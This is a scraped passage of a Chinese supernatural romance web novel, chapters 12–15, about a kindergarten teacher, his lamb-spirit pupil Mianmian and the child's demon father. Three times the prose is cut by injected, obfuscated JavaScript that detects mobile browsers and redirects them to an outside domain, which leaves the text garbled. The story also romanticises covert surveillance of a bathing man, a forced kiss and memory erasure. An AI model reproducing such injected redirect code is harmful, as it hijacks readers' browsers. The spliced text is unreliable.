“先生,眠眠还在哭。” 陈助理闹不过眠眠,满脸疲惫地敲响了陆无烬的房门。房间里没有亮灯,稀薄的月辉照在地板上,隐约照亮沙发里的那个人。 “不用管他。”陆无烬说。 “那几个妖师后代如何处置?” “他们还是不说?” “是,他们始终不肯透露三百年前,夫人是如何离开迷障林,逃出洵山的,”陈此安犹豫良久,还是问了出来,“先生,这群妖师后代固然可恶,但您不是已经找到夫人了吗?” 陈此安想不明白,陆无烬找老婆找了足足三百年,历经千辛万苦,追捕妖师后裔也是为了获取更多的信息。如今找到了,却藏着掖着不愿露面。还多此一举地,逼问妖师后裔三百年前的事。 “你怎么知道找到了?” 陈此安心想:这不是很明显吗?你在杨老师家里装了五颗灵眼,时刻关注着杨老师的一举一动,连杨老师洗澡差点摔倒都看得一清二楚……难不成是为了眠眠? 当然他不敢说出口,只说:“看眠眠的反应,也能猜出来七八分了。” “他不是。” “啊?” “三世轮回了,他不是。” 陆无烬想起月仙说的那句:这一世,他有他的宿命,遇一良人,缔结姻缘,幸福顺遂,你若篡改他的宿命,他便入不了轮回,化作一缕孤魂消散于天地间。 月仙拿着命簿找到他的那天,是他越过三百年的风霜与孤寂,苦苦寻找,终于在幼儿园门口看到了杨思昭的身影。 那天他没有上前,便再也不能上前。 “带他们回洵山。”他下令。 陈此安很是惊讶,“包括……眠眠?” 陆无烬点头。 陈此安心有不忍,“可是先生,眠眠已经对杨老师有感情了。” “像以前一样,把他送进无藏冰继续沉睡,直到他完全忘记这段记忆。” 话音刚落,门铃响起。 屏幕中放映出杨思昭的脸,他拎着大包小包的购物袋,眼睛哭得通红,对着可视化门铃说:“陆先生,我想见眠眠。” 12.第 12 章 杨思昭也不想这样狼狈的。 他不停地告诉自己:你只是老师,和眠眠只认识了不到半个月,你没有资格也没有立场追到眠眠家里,你应该知难而退,可眼泪不受控制。 看着家里散落的与眠眠有关的物件,又看不见眠眠的身影,他的心仿佛缺了一块,血淋淋的,无法自愈,所以他找来了。 可是陆无烬没有给他开门。 他明明看到二楼亮着灯,可整栋别墅却死寂无声,方才他还听见眠眠的哭声,此刻却悄无声息。他给陈此安打电话,也无人接听,他只能坐在门口枯等,等到夜深,远空明月高悬,繁星点点。良久,身后传来吱呀一声闷响,门开了。 他慢半拍地转过头,看到了陈此安。 陈此安恭敬地颔首,拿起杨思昭身边的购物袋,说:“杨老师,眠眠在二楼,我带您去吧。” 杨思昭立即追上去。 整栋别墅华贵而暗淡,处处透着妖冶的诡异,杨思昭已无暇在意,他紧紧跟在陈此安后面,心思全在眠眠身上。 眠眠一定在哭。 可是到了房间门口,却听不见半点哭声,他刚要进去,陈此安就拦住他。 “杨老师,眠眠……”陈此安停顿片刻,重新组织了语言,“先生的意思是,您进去了,看到了,如果能接受,您今晚就可以留下来,如果不能接受,从今以后,都不要再来了。” 陈此安把灯打开,眼前倏然明亮,他走进去,看到被子中央鼓起一个小包。 那不是眠眠的体型大小。 ——如果能接受。 杨思昭已经隐隐有了预感。 哪怕已经有了心理准备,可当他小心翼翼掀开被子,看到那一团白色毛茸茸的瞬间,还是忍不住倒吸一口凉气。 是只小羊羔。 有一双深棕羊角,通身覆着白绒绒的卷毛,尾巴尖有一簇拇指大小的黑毛,正努力卷起来,往屁股下面藏,脑袋也一个劲往被子里挤,害怕被杨思昭看到。 明明已经亲眼见过两回小妖怪变回原形,理应接受自如,可不知为何,这一次他心跳震如擂鼓,手也止不住地发抖。 也许他心里清楚,小(5)班的孩子和眠眠于他而言,意义是不同的。 接受眠眠,就像是接纳一个家人。 甚至曾经有那么一瞬间,他希望眠眠是他的孩子,由他抚养长大,可眠眠是小妖怪。老院长的妻子为了能和老院长白头偕老,不惜拼命去偷延年果,那他呢? 他们又能相处多久呢? 妖与人,终究是殊途的,不是吗? 眠眠不敢面对杨思昭,埋头钻进被子的缝隙,慌不择路地往床边逃,一时忘了高度,咕咚一声摔在地上。 杨思昭如梦初醒,万千思虑统统抛之脑后,扑到床边抱起眠眠。 眠眠在他怀里挣扎,他喊一声“眠眠”,眠眠就发出一声委屈的“咩咩”。 杨思昭望向眠眠的眼睛,小羊的眼睛又圆又大,清澈又湿润,瞳孔纯净得看不见半点杂质,映出了杨思昭的脸。 “没事的,眠眠,是老师来了。”杨思昭抱紧了眠眠,脸颊贴着他的小脑袋,轻声哄他:“爸爸又欺负眠眠了,是不是?” 眠眠更委屈了,小脑袋一个劲地往杨思昭的颈窝里顶。 “原来眠眠是小羊啊,”杨思昭在毛茸茸的小脑袋上亲了一口,抱着他在窗边晃来晃去,“真有缘分,老师也叫小羊呢。” 眠眠抬起头,用一双湿漉漉的眼睛望向杨思昭。 杨思昭和他顶了顶额头,“眠眠变成小羊,老师就不喜欢眠眠了吗?不可能的,永远不可能,不管眠眠变成什么样子,老师都会一直喜欢眠眠,照顾眠眠,陪在眠眠身边。” 话音刚落,眠眠就变回了人形。 灵眼将看到的一切展示在陆无烬面前,床上的一大一小依偎在一起,睡得很熟。 他起身,走到眠眠的房间。 天快亮了,远空露出一抹鱼肚白,微微照亮了杨思昭的侧脸,他睡得头发蓬乱,让陆无烬想起三百年前,睡在他怀里的小羊。 那只尾巴尖有一簇黑的小羊妖,总是半夜溜进他的屋子,为了偷走他最珍贵的东西,生涩勾引,装出一副乖顺的模样,枕着他的臂弯,一歪头就陷入熟睡。 他总是侧睡,枕头挤压着脸颊肉,看起来就像个孩子。 陆无烬坐在床边,缓缓俯身,在杨思昭柔软的唇瓣上,落下一个不轻不重的吻。 “还是应该恨你,恨你,一切都简单。” “应该任你灰飞烟灭的,可是小家伙会哭个不停,很吵,吵得我头疼。” “你说该怎么办?” 空阔的房间里,只有均匀起伏的呼吸声,无人应他。 他又看向一旁酣睡的眠眠。 动了动指尖,小家伙脸上的泪痕瞬间消失。 . 阳光透进窗纱,杨思昭醒过来。 眠眠比他醒得早,在他的怀里自娱自乐地玩枕头角,不发出声音。 杨思昭愣了好久,才意识到自己昨晚真的在陆无烬的家里睡着了。 作为老师,他确实太出格了。 他帮眠眠洗漱,穿好衣服,一起走出房间,陈此安已经准备好了早饭,站在桌边朝他微笑颔首,“杨老师,睡得好吗?” “挺好的……”杨思昭尴尬地挠了挠头, 偌大的长桌,只摆了两份早餐。 杨思昭疑惑:“陆先生呢?他吃过了?” “陆先生出远门了,有些事情要处理,很长一段时间都不会回来,杨老师可以一直住在这里,我们会悉心照顾您和眠眠的。” “啊?” 杨思昭追问:“他不管眠眠了?” “有杨老师在,先生很放心。” 陈此安朝一旁的佣人招了招手,两杯温度正好的热牛奶被送到桌上。 “杨老师无需多虑,一日三餐都是按照杨老师和眠眠的口味做的,我也会派人接送杨老师上下班,平时杨老师想带眠眠去任何地方,都可以告诉我,我来安排。如果杨老师在这里住不习惯,也可以回自己家,我安排保姆去您家里服务。” 他一番话说得滴水不漏,十足的妥帖,杨思昭完全说不出一句拒绝。 只是陆无烬的突然消失让他有些茫然,内心生出几分自责,一个外来的陌生人,把孩子的亲生父亲赶走了,旁人听来一定会很愤怒。 他心情复杂地望向眠眠,眠眠咬着勺子朝他傻笑,对爸爸的离开没有半点伤心。 吃过饭,他才想起来昨天加了女孩的微信,只是通过了好友,还没打招呼。 实在太失礼了。 女孩名叫姚奚雨,头像是一只可爱的小猫,杨思昭向她道歉,坦言昨晚发生了一件紧急的事,他一直处理到半夜。 姚奚雨性格很好,没有责怪他,还关心地问他:[那事情解决了吗?”] 杨思昭看了眼满脸牛奶渍的眠眠,回复:[解决了。] 姚奚雨又问他:[下周有空吗?出来吃个饭?] 杨思昭心生讪讪,加了微信不主动打招呼也就算了,第一次见面还是女孩提出的,他觉得自己一点绅士风度都没有。 [好的,你喜欢吃什么?]
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903197|159298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姚奚雨倒是大大方方,回他:[让我挑一挑吧,等我想好了告诉你。] [没问题,想吃什么都可以。] 姚奚雨回他一个笑脸。 杨思昭从学生时代起,就不善于和女孩相处,大学时有过一阵子开启初恋的迹象,很快女孩就说他太迟钝,太无聊,送了张“好人卡”,没了下文。能遇到姚奚雨这样主动又和善的女孩,实属老天眷顾。 毕竟他学历不高,这是明显短板。 陈此安见他眉头舒展,笑着问:“杨老师恋爱了?” 杨思昭连连摆手:“不是不是,我妈介绍的相亲对象。” “看样子很合拍哦。” 杨思昭挠了挠头,“我……我不太会谈恋爱,估计人家是看不上我的。” 他抽了纸巾,给眠眠擦嘴。 眠眠撅起嘴巴,凑到他面前,陆无烬不在家,眠眠明显变得缠人。 杨思昭想了想,还是决定回自己家。 潜山别墅虽然安静空阔,毕竟远离市区,没有半点人气。他希望眠眠有更多机会和人相处,能变得开朗些,爱笑些。 陈此安帮他收拾眠眠的行李。 收着收着,突然翻出一件襁褓布,古时候的样式,绣着荷花纹样,看起来已经很旧了,却没有半点破损。 “这是?” “是眠眠刚出生的时候用的,以前眠眠一闹觉,先生就用这块襁褓布裹住他,让他摸一摸,很快就不哭了。” “是他妈妈留下的?” “是。” “眠眠的妈妈还……还在吗?” 陈此安斟酌道:“应该已经转世了,不知道这一世,他在哪里。” 杨思昭的眼神有些黯淡,一是心疼眠眠,二是对自己的身份立场产生动摇。 “那……陆先生没想过找她吗?” “一直在找。” 杨思昭愣住,“一直?” “三百年,已经找了三百年。” 三百年,三百个春夏秋冬。 杨思昭还以为陆无烬是个无情无爱的妖,殊不知是情太深,爱太重,所以沉默。 他带眠眠回到自己的房子。 眠眠开心得直转圈圈,左三圈右三圈,然后晕乎乎地钻进杨思昭的怀里。 杨思昭却高兴不起来。 陆无烬那张脸总在他的脑海中忽闪忽现,还连带着一些模糊的画面,让他思绪万千,心烦意乱。 第二天,他回幼儿园上班。 齐妍和其他家长没有出现,五个小家伙是由一辆车送过来的,司机也是陌生面孔。杨思昭打电话问了情况,才知道上次小岛一战,家长们都身受重伤,只能瞒着孩子。齐妍说:“杨老师,我们对不起你,等我们养好了伤,一定登门赔罪。” 杨思昭也不知如何回应。 就这样如往常一般,上了五天班。 陆无烬始终没出现。 陈此安闭口不提陆无烬,眠眠也从不说想爸爸,搞得杨思昭想问都无从开口。 周六,姚奚雨约他去吃粤菜,杨思昭特意把眠眠送到了潜山别墅,然后去理发店剪了个头,回家洗澡,换新衣服。 一出门,原本晴空万里的天,竟然瞬间变得阴云密布,然后落下淅沥沥的雨。 路人们纷纷跑了起来。 “怎么回事?”杨思昭嘟囔了一句。 为了节省时间,他准备打车去,可一走到路边,原本宽阔畅通的街道,眨眼间车水马龙,很快堵得水泄不通。 鸣笛声此起彼伏。 杨思昭瞠目结舌,“……见鬼了吗?” 13.第 13 章 不管有没有见鬼,杨思昭都要在十一点四十前赶到粤菜餐厅,绝不能迟到失礼。 他弃了出租车,奔向地铁站。 谁知地铁也人满为患,人挤人,站不稳,羽绒服都快压成冲锋衣了。等他满头大汗、气喘吁吁地挤出地铁,全身已经一片狼藉。 他只好冲到地铁站的卫生间,洗了一把脸,呼噜了一把头发,捯饬了一番。 万幸的是,他没迟到,他几乎是和姚奚雨同一时间进餐厅的,同一时间落座。 姚奚雨看着他略显狼狈的脸色,“你怎么了?你不是说你家离这儿不远吗?” 杨思昭挠挠头,尴尬道:“是不远,也不知道怎么了,一出门就下雨,路上还堵车。” “下雨?怎么可能?今天阳光明媚啊,一滴雨都没下啊。”姚奚雨指着落地窗外。 杨思昭愣住,究竟怎么回事?没下雨吗?可他分明看到大雨了。他们住得不远,在同一个区,局部降雨也不至于这么局部吧? “有可能是人工降雨。”姚奚雨想了想。 这是目前最合理的解释了,杨思昭点头,微笑道:“点菜吧,你喜欢吃什么?” 姚奚雨报了几个菜名,杨思昭又加了两道,没关注金额,直接付款下单。 姚奚雨注意到他这个动作,颇为满意。于她而言,虽然杨思昭是个男幼师,工作工资就很平庸,但人长得好看啊。皮肤白,眉眼清秀,笑起来还有两个酒窝,大方又会照顾人,两相抵消,算下来,还是优点胜出。 “你是不是很喜欢小孩啊?”姚奚雨托腮问。 “是,一直很喜欢。” 提到这个,杨思昭突然开始想眠眠了。把眠眠送到陈助理手里的时候,眠眠明显不太情愿,可怜巴巴地抱着他的胳膊,现在不会在哭吧?也不知道午饭有没有好好吃…… “你怎么了?” 姚奚雨的问声打断了杨思昭愈演愈烈的猜想,杨思昭尴尬地笑了笑:“没有,我就是想到班级里那些小孩子了,你呢,你喜欢孩子吗?” “我……一般。”姚奚雨摇了摇头。 杨思昭依旧温和地笑,“也正常,小孩子闹起来真的很折磨人的。” 刚说完,他又想到:可是眠眠一点都不闹,会自己吃饭自己穿衣服还会自己洗澡,简直是宝宝中的天使,一点都不烦人。 这么乖的宝宝,他爸还不珍惜。 也不知道他爸去哪儿了。 他的思绪又开始蔓延。 “你之前谈过恋爱吗?” 杨思昭倏然回神,闻言,局促地搓了搓手:“没有。” “为什么啊?应该有女孩子追你吧?” “我……”杨思昭想起那个纠缠他十年的诡梦,一晃眼,已经有好几天没有梦到那个男人了。 实在奇怪,那个男人究竟为何出现,又为何突然消失呢?他想不明白。 想着想着,再次走神。 姚奚雨看他神游天外的模样,有些恼火,故意用指尖磕了一下杯沿。杨思昭猛然收回思绪,万分歉疚,“实在不好意思,我以前有些木讷,可能不是女孩子喜欢的类型——” 正说着,电话振动两声。 是陈此安。 可是杨思昭刚要接,电话又挂了,这让他的心瞬间揪了起来,立即回拨。 陈此安在电话那头说:“没什么的,杨老师,我不小心按到了,没有其他事,您安心相亲,祝您相亲愉快。” 杨思昭也顾不上姚奚雨打量的目光了,迫不及待地问:“眠眠呢?” “眠眠睡着了,杨老师不用担心。” 这话一出,杨思昭更担心了。 他忧心忡忡地放下电话,姚奚雨露出一抹礼貌的微笑,“杨先生,大家都是成年人,也不需要通过相亲交朋友吧。如果没那个意思,何必耽误大家时间呢?” 杨思昭连忙说:“不是的!是我幼儿园一个孩子。” 姚奚雨不理解:“又不是你的孩子,非工作时间,没必要这样负责吧?” “这个孩子,身世比较可怜,和我又很投缘,他父亲不太称职。” “那该怎么办?你要收养他?你才二十三岁,你还要不要正常的生活了?没有女孩能接受自己的另一半,分走许多心思在一个没有血缘关系的孩子身上!” 这番话如当头棒喝,直接将杨思昭这段时间的混乱生活敲碎,让他重回现实。 是啊,天天和小妖怪们在一起,他还要不要正常的生活了?他能接受,他的另一半能接受吗?如果不能接受,他要放弃眠眠吗?后者似乎更让他感到痛苦。 姚奚雨感到难以置信,“你竟然真的在思考这个问题?” 杨思昭弱弱地为自己辩解:“实在是那个孩子的父亲太不称职——” “那你和他结婚吧!” 姚奚雨拿起包,倏然起身,仍保持着礼节,“不好意思,我情绪有些激动,可能因为我不太喜欢小孩,你和我预想中的也不太一样。抱歉,今天让你破费了。” 她说罢就离开了。 留杨思昭一个人怔怔坐在原位。 半晌才想起来去追,刚出门,天际响起一道惊雷,而后淅淅沥沥的雨帘从屋檐落下,滴在他的脸上,制止了他的步伐。 他往前走,雨势骤然变大。 往后退,雨就小了,隐隐转晴。 “……” 他缓缓仰起头,看着阴晴不定的天。 “有病吧。” 餐厅的服务员追出来,问他还吃不吃,他麻木地摇了摇头,“帮我打包吧。” 他拎着两只沉甸甸的纸袋,失魂落魄地走在街上,雨也停了,晴空万里,但他的心是一片灰暗的。就像十年前第一次做那个梦,他惊慌、不解,又难堪,不敢和男孩玩,也不好意思和女孩相处。 很长一段时间里,他都是孤独又寂寞的,像是中了什么诅咒。他好想知道那个男人是谁,是他上辈子的孽债么? 绿灯亮,他走过斑马线。 万千思绪搅成一团乱麻。 “嘀嘀——” 鸣笛声尖锐逼近,与刹车声重叠在一起,几乎震裂他的耳膜。余光瞥见一抹强光,等他反应过来,转过头,一辆左转疾行的银色轿车离他只有不到两米的距离! 周围人发出尖叫与惊呼。 杨思昭的大脑发出了快跑的指令,腿却一动不动,僵在原地。 躲不过了,疼痛感仿佛已经贯穿全身。然而下一秒,有一只无形的手,抱住了他的腰,将他从车前拉走,不由分说便抱进怀里。 那是一个无形的拥抱,却比杨思昭感受过的任何一次拥抱都要用力,明明眼前是最平常的车水马龙人来人往,他却清晰地感受到了那个人的心跳。 每一声心跳都诉说着无尽的眷恋。 他先是想到了梦中那个男人。 紧接着,莫名又想起陆无烬。 那天,在湖畔小岛,陆无烬也是这样抱住他的,抱得很紧,眼神又沉又重。 “嘀嘀——” 他恍然回神,斑马线旁等了很久红灯的车忍不住催促他,他踉跄着往前走。 腿是软的,心在狂跳。 两个毫无关联的人,突然有了一个不可思议的连接,生出一个更不可思议的联想。他甩了甩脑袋,不敢多想一秒。 回到家时,陈此安已经提前把眠眠送回来了。 小家伙正百无聊赖地趴在床边,抱着杨思昭的睡衣发呆,听到门响,立即滑下床,奔了过去。杨思昭将他抱起来,把脸埋在他小小的肩头,连做了两次深呼吸。 眠眠感觉到杨思昭的慌乱,伸出短短的胳膊,抱住杨思昭的脑袋。 “妈妈不痛。” 杨思昭慢半拍地反应过来,困惑更重,“眠眠,你、你叫我什么?” “妈妈。” 杨思昭烫手似的,把眠眠放到沙发上,蹲在他面前,耐心地解释:“我怎么会是妈妈呢?我是小羊老师,我和眠眠一样是男生,男生是不能生孩子的,眠眠是不是想妈妈了?” 眠眠摇头。 “谁让你喊我妈妈的?” 眠眠还是摇头。 杨思昭思索片刻,试探着问:“眠眠见过妈妈吗?她长什么样子。” 眠眠伸出小手碰了碰杨思昭的脸。 杨思昭往后跌坐在茶几边,感到头皮一阵发麻。 不可能吧…… . ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是,可以做朋友,我没觉得无聊,挺好玩的。”杨思昭也如释重负。 “对了,你说你最近老遇到奇怪的事,我妈认识一个道行很深的大师,特别厉害,能看出你的前世今生。你如果实在觉得诡异,过几天我就带你去问问。” 杨思昭一愣,前世今生? “好。”他立即说。 这一顿饭,简直解开了杨思昭这两天的全部郁结,回家的路上他都觉得神清气爽,脸上一直挂着笑。回到家抱起眠眠,还忍不住亲了两大口。 可是他的神清气爽还没坚持到两小时,很快,不对劲的事情又发生了。 从脱掉衣服,踏进浴室那一刻起,他就觉得似乎有一双眼睛,正在盯着他。 这种感觉已经不是第一次出现了。 一股凉意顺着脊背往上窜。 他猛然回头,身后只有一墙的白色瓷砖。 他惴惴不安地打开莲蓬头,水雾很快充盈着整个玻璃间,热水滑过肩膀、小腹,顺流而下,可全身却越来越冷。 他颤抖着手,关了水。 刹那之间,一抹黑影霍然拉开了玻璃门,欺身进来,一手扣住杨思昭的腰,将他按在墙上,不由分说地吻了下来。 “唔唔!” 杨思昭的挣扎在陆无烬面前显得不值一提,他越挣扎,陆无烬吻得越深。 手也不怎么老实。 杨思昭的思绪已经被完全烧断了,他甚至不知道该咬断自己舌头,还是该咬断陆无烬的舌头,愤怒和羞恼混乱交织。 不知过了多久,陆无烬松开他。 他的巴掌还没落到陆无烬的脸上,陆无烬已经施了法术,将这五分钟的记忆,从杨思昭的脑海中抽离,收于掌中。 一切都没变。 杨思昭回到五分钟前,照常脱了衣服,打开热水,关上玻璃门。 那种被监视的感觉似乎消失了。 只是热水浇下来的时候,他明显感觉到嘴唇有些疼,火辣辣的。 像被人咬过。 14.第 14 章 杨思昭半夜醒来,去冰箱里翻出一只冰袋敷在嘴唇上,以减轻火辣辣的异感。 真奇怪,他清楚地记得他洗澡前没摔跤,也没吃辣,怎么洗个澡,嘴唇又麻又疼? 敷了五分钟,他又回到床上。 眠眠睡得很香,圆嘟嘟的脸颊贴在被角边,一感觉到他靠近,就靠了过来。 摸到热乎乎的小身体,杨思昭的心逐渐安定,他把眠眠圈在怀里,低头亲了亲。 陆无烬似乎已经忘了他还有个儿子,自从那天晚饭中途消失,直至今天,已经过去五天了,他一次都没有出现。 眠眠已经正式成了杨思昭家中的一员,他每天和杨思昭一起上班一起下班,一起吃饭洗澡睡觉,两个人无时无刻不黏在一起,如同亲父子。 年关将近,天气愈冷,有一个小家伙陪在身边,杨思昭一点儿都不觉得孤独。 眠眠虽然只有四岁,但他异常的懂事,杨思昭做饭,他就坐在岛台上看,杨思昭看电视,他就窝在杨思昭的怀里,时不时抱着杨思昭的胳膊,捏一捏,捶一捶,给他按摩。 杨思昭偶尔会自言自语,眠眠不管听不听得懂,都要“呀呀”“喏喏”回应两声。 杨思昭还买了拍立得,给他做了成长记录本—— 【1月27日,今天给眠眠测量了身高体重,96cm,15.1 kg,个子偏小,体重偏轻,要给眠眠制定一个营养食谱。】 【1月28日,今天和眠眠一起去菜市场买菜,眠眠挑了一颗圆白菜。】 【1月29日,动画片里海豹爸爸不远万里找回自己的宝宝,眠眠看到了,低头不说话,默默玩玩具,也许他是想念爸爸的。】 每一页都附了三张眠眠的照片。 他把眠眠哄睡之后,走出卧室,给陈此安打了电话。 “不好意思,陈助理,这么晚了打扰你,也没有其他的事,我就是想问一下,陆先生还没回来吗?” 陈此安那头很安静,“还没有,杨老师有什么要我传达给先生的?” 杨思昭顿住,坐在沙发边,掌心摩挲着膝盖,想着眠眠,又无端想起那天差点发生的车祸,那个很用力的拥抱,一时语塞:“我……我就是希望他早点回来,陪一陪眠眠。” “好的,我会传达给先生。” 挂了电话,陈此安转头望向一旁的陆无烬,“先生。” 他知道陆无烬都听到了,也不多说。 沉默良久,他才问:“先生,夫人的命轨,还是不能更改吗?” 陆无烬关了灵眼,微微低头,用指腹按了按眉心。 “如果不是三百年前,夫人偷走了您的化丹,您不会受困于此,”陈此安自觉失言,顿了片刻,“如果有化丹,以您的功力,可以改变任何人的命轨,根本不用这般瞻前顾后。” “没有所谓如果。” 陈此安忿忿不平:“夫人已经不记得您了,也不记得自己曾在三百年前,以回澜之术偷走了您的化丹,使您堕入妖道。您是经历了旁人难以想象的磨难,才顶替了妖王的名位,得以存活。如今,好不容易找到了夫人,您只要取走化丹,就可以离开妖界,重回——” 陆无烬打断他,沉声道:“你是为我着想,还是觊觎他体内那颗化丹?” 陈此安当即跪了下来,语气坚定:“先生,我对您的忠诚天地可鉴,绝无二心。” “既如此,不用多说。” 陆无烬起身,陈此安追问他:“先生,那您怎么办?就这样放弃,再等下一世吗?” 真的,能看着他结婚生子吗? 陆无烬没有回答。 月仙的话在他耳畔响起—— “还有一个办法,他当年用回澜术偷走你的化丹,但这个术法只有他会,而且是在你全然爱他的前提下,才能成功。你可以唤醒他前世的记忆,让他告诉你回澜术的口诀,但你有把握,让他全心全意爱你吗?” “如果不能,回澜失败,你就篡改了他的命轨,致使他灰飞烟灭,无法挽回。” . 一天又结束了,杨思昭送走五个小朋友,回来穿上外套,牵着眠眠的手回家。 路过菜市场,买了虾和番茄。 路过商场,买了一个小火车玩具。 正值夕阳西下,暮色四合,眠眠牵着杨思昭的手,蹦蹦跳跳地往前走。 “一个方块,两个方块。”眠眠穿着雪地靴,稳稳当当地踩在地砖上。 “好厉害呀,老师也踩一块。” “小杨。” 迎面走过来一个中年女人,杨思昭定睛一看,才认出是原来住在他楼下的徐阿姨。 徐敏芬顺着杨思昭的手,看到了眠眠,惊讶道:“这不是上次你说的那个幼儿园的孩子吗?怎么,他现在跟你住了啊?” 杨思昭呆住,支支吾吾道:“我……他父母都有事,我暂时照顾他。” “原来如此,”徐敏芬拍拍他的肩膀,“你呀,就是太善良了。” “不辛苦。” 徐敏芬笑了笑,“娃娃倒是蛮可爱的。” 杨思昭和她随便扯了两句,就迅速带着眠眠离开了,刚走到路口,才猛然意识到:完了!徐阿姨知道了,他妈肯定也会知道。 他妈本来就不喜欢他这个幼师工作,如果发现他把幼儿园的孩子带回家养—— 他就完蛋了! 他低头看眠眠,眠眠也仰起头看他,眨巴眨巴眼睛,指着路口说:“绿灯!” 杨思昭心想:那怎么办呢?顶多挨两句骂,眠眠是不能丢的。 快到小区门口,天已经黑了,一个小男孩横冲直撞地跑了过来,想抢走杨思昭手上的玩具火车,杨思昭一时没反应过来,手忘了松开,就被男孩拽了个趔趄,直愣愣地栽倒下去,胳膊肘杵地,疼得他倒吸一口凉气。 眠眠的脸色一下子变了,皱紧眉头,追上去抓住男孩的衣服后摆。 “眠眠,不要追!”杨思昭惊呼。 然而下一秒,男孩就变成了一只黑黢黢的鬣狗,前身低伏,后背拱起,毛发竖立,以极其攻击性的姿态,望向杨思昭。 杨思昭瞬间反应过来。 这只妖是冲着他来的! 不等他思考出原因,鬣狗已经冲了过来,而眠眠扑到他怀里,挡在他身前。 杨思昭怎么能看着他受伤?于千钧一发之际,抱住眠眠,飞快地转过身。 预想中的疼痛没有出现。 他听到几声鬣狗的嘶吼,转过头,鬣狗已经口吐鲜血,躺在地上抽搐。 他怔怔地望着。 又是一次化险为夷,他已经不能用“幻觉”和“臆想”来解释这几天发生的事了,他敢断言,一定是有人在暗中保护他。 他左右张望,四下无人。 可眠眠在他怀里,低低喊了声:“爸爸。” 他僵住,听到熟悉的脚步声。 陆无烬凭空出现,依旧是一身黑色大衣,几乎与黑夜融为一体。他缓缓走来,经过杨思昭身侧,没有停留,径直走到鬣狗身边。 鬣狗浑身战栗,强撑着残躯,匍匐在陆无烬的鞋边。 陆无烬指尖微动,一道黑色妖力将鬣狗束缚住,陆无烬神色未变,鬣狗发出一阵阵痛苦的哀嚎,口中涌出汩汩鲜血。 杨思昭连忙遮住眠眠的眼睛。 很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916639|159298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,陆无烬的手下出现,带走了鬣狗。 这一切像是幻象,周边有几个行人来来往往,完全看不到陆无烬。 有一个女孩路过,看到杨思昭抱着眠眠坐在地上,俯身问他:“需要帮助吗?” 杨思昭回过神,摇头起身,“没事的,谢谢。” 他牵着眠眠往家的方向走,陆无烬跟在他后面,没有解释,没有说一句话,却在他进门之后,熟络地扶住门边。 走进来,换鞋,关上门。 杨思昭:“?” 他和眠眠一同歪着脑袋,满脸疑惑地望向陆无烬,陆无烬只是淡淡地瞥了他们一眼,然后略过他们,坐到沙发上。 “从今天起,有司机接送你上下班。” “为什么?” “一个混迹在妖群的人类,你觉得你很安全?” 杨思昭语塞,闷声说:“好吧。” “以后,陆眠——” 杨思昭脱口而出:“眠眠还是归我!” 话音未落,他又觉得哪里不太对劲,这话怎么像是父母离婚前争夺抚养权? “归你。”陆无烬说。 “啊?”杨思昭又愣住了。 陆无烬动了动指尖,一束蓝色的光线就从他的指尖溢出,圈住了眠眠的手腕。 很快,光线又消失了。 “以后他不会让那些小妖变原形了。” 陆无烬今天配合得过分,杨思昭都不习惯了,他局促地站在玄关边,抠着手,不像是回家,倒像是去潜山别墅,觐见陆无烬。 “你怎么了?”他问。 陆无烬抬眸望向他,“什么?” “你……”杨思昭一迎上陆无烬的眼神,就心头发沉,半晌才问:“你最近在忙什么?” 陆无烬眉梢微挑,似乎不理解这句话怎么会从陆眠的幼儿园老师嘴里问出来。 杨思昭也觉得自己越界,抿了抿唇,又问:“那天在斑马线上,是你吗?” “不是。”他迅速否认。 “哦……不对!”杨思昭的大脑转得飞快,扬声道:“我还没说是哪天,也没说什么事。” 他睁大眼睛,踉跄着冲到陆无烬面前,“就是你,我的感觉没有错,就是你!” 陆无烬大概是生平第一次吃瘪,脸色瞬间冷了,嘴角扯出一条生硬而紧绷的线。 “为什么要救我?” 对视良久,久到杨思昭的心漏了半拍,呼吸急促起来,酸痛的双腿几乎无法支撑他站稳,才听到陆无烬说:“没有理由。” 简直太霸道太莫名其妙了! 杨思昭一扭身去了卧室,眠眠迅速追过去,又噔噔噔跑出来,用力张开两条胳膊,叉开腿,挡在卧室门口,不让陆无烬进去。 陆无烬看着他。 眠眠想起大前天的晚上,这个坏蛋趁着妈妈睡着了,躺到妈妈身边,还想把他挤下去,他非常生气,抬起腿,想踢陆无烬。 但他的腿太短了,伤不着陆无烬分毫,还眼睁睁看着自己的小熊拖鞋飞了出去。 他连忙去捡,手刚碰到拖鞋,拖鞋就往前飞了半米。 他看了一眼陆无烬,陆无烬好整以暇地动了动手指。眠眠更生气了,撅起嘴往前跳了一步,刚蹲下来,拖鞋又往前飞了一米。 “陆无烬!” 杨思昭站在房间门口,气呼呼地说:“不准玩眠眠!” 陆无烬便收了手。 他望向杨思昭,一直望到杨思昭脸颊发烫,眼神躲闪,都没收回目光。 陆无烬想:你会爱我吗? 像我从前爱你那样,至死不渝地爱我。 你做不到吧。 15.第 15 章 杨思昭想不明白,陆无烬为什么突然出现,又赖在他家不走? 他们是能经常一起吃饭的关系吗? 